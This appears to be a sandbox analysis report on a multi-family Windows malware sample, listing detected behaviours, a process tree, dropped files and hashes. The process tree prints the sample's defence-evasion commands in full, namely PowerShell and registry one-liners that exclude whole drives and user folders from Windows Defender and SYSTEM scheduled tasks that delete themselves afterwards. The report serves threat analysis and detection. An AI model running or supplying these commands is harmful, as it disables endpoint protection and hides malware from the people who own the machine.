Analysis

  • max time kernel
    151s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 01:23

General

  • Target
    2026-08-25_f7f41140360930f2e7a47d34f747c20f_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 53.8MB
  • Sample260826-brwehs1dnd
  • SHA256 1491d90941f2c789f8bb4a1286bca72b403acb7b208b1b7c288f2c4670d78698
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-25_f7f41140360930f2e7a47d34f747c20f_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-25_f7f41140360930f2e7a47d34f747c20f_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1132
  • C:\Users\Public\HMDC76\GRuxEg.exe
    "C:\Users\Public\HMDC76\GRuxEg.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1460
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HMDC76\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2452
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HMDC76\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1920
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5676
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:556
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:248
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5984
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5392
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3592
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1376
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3352
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4660
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1184
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1516
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1868
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4080
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5468
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:444
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5396
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3724
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1608
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HMDC76" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5420
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HMDC76" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2756
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3816
                        • C:\Users\Public\HMDC76\GRuxEg.exe
                          "C:\Users\Public\HMDC76\GRuxEg.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4872
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3196
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2736
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5116
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2144
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2148
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1568

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              GRuxEg.exe

                              • Path C:\Users\Public\HMDC76\GRuxEg.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\HMDC76\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 40cc850a6893c76f521b78dea21ad27907ab9a1395e26389b9d8436514cc8687
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\HMDC76\adoresd.dat
                              • Size 4.7MB
                              • SHA256 49b0ba17b93af2dc2569a8c8a412b7e7b44467da629c0c36ebafda3be5a19f7b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\HMDC76\msadox.tb
                              • Size 8KB
                              • SHA256 538e72b3b631a30a7b7b667e9ae41a79d26618b15d4028b067c13d33ca6c1f02
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1132-504-0x00007FFEB6150000-0x00007FFEB6162000-memory.dmp

                              memory/1132-527-0x00007FFEB6150000-0x00007FFEB6162000-memory.dmp

                              memory/1132-526-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/1132-0-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/1132-2-0x0000000000580000-0x000000000058B000-memory.dmp

                              memory/1132-1-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/1460-610-0x00000171B5C70000-0x00000171B5C7A000-memory.dmp

                              memory/1460-607-0x00000171B5F10000-0x00000171B5FC2000-memory.dmp

                              memory/1460-606-0x00000171B5C50000-0x00000171B5C6E000-memory.dmp

                              memory/1460-601-0x00000171B5AE0000-0x00000171B5B02000-memory.dmp

                              memory/4208-559-0x0000024BE5770000-0x0000024BE57FA000-memory.dmp

                              memory/4208-568-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-546-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-547-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-548-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-552-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-542-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-558-0x0000024BE43A0000-0x0000024BE43EE000-memory.dmp

                              memory/4208-560-0x0000024BE5770000-0x0000024BE57FA000-memory.dmp

                              memory/4208-563-0x0000024BE5770000-0x0000024BE57FA000-memory.dmp

                              memory/4208-562-0x0000024BE5770000-0x0000024BE57FA000-memory.dmp

                              memory/4208-565-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-567-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-545-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-532-0x00007FFEBEAF0000-0x00007FFEBEAF2000-memory.dmp

                              memory/4208-533-0x00007FFE9C320000-0x00007FFE9C83E000-memory.dmp

                              memory/4208-538-0x0000024BE4ED0000-0x0000024BE5761000-memory.dmp

                              memory/4208-540-0x00007FFEBEB00000-0x00007FFEBEB02000-memory.dmp

                              memory/4872-585-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-586-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-588-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-587-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-589-0x00007FFEBEAF0000-0x00007FFEBEAF2000-memory.dmp

                              memory/4872-581-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-580-0x00007FFEBEB00000-0x00007FFEBEB02000-memory.dmp

                              memory/4872-579-0x0000028BAD110000-0x0000028BAD9A1000-memory.dmp

                              memory/4872-575-0x00007FFE9C320000-0x00007FFE9C83E000-memory.dmp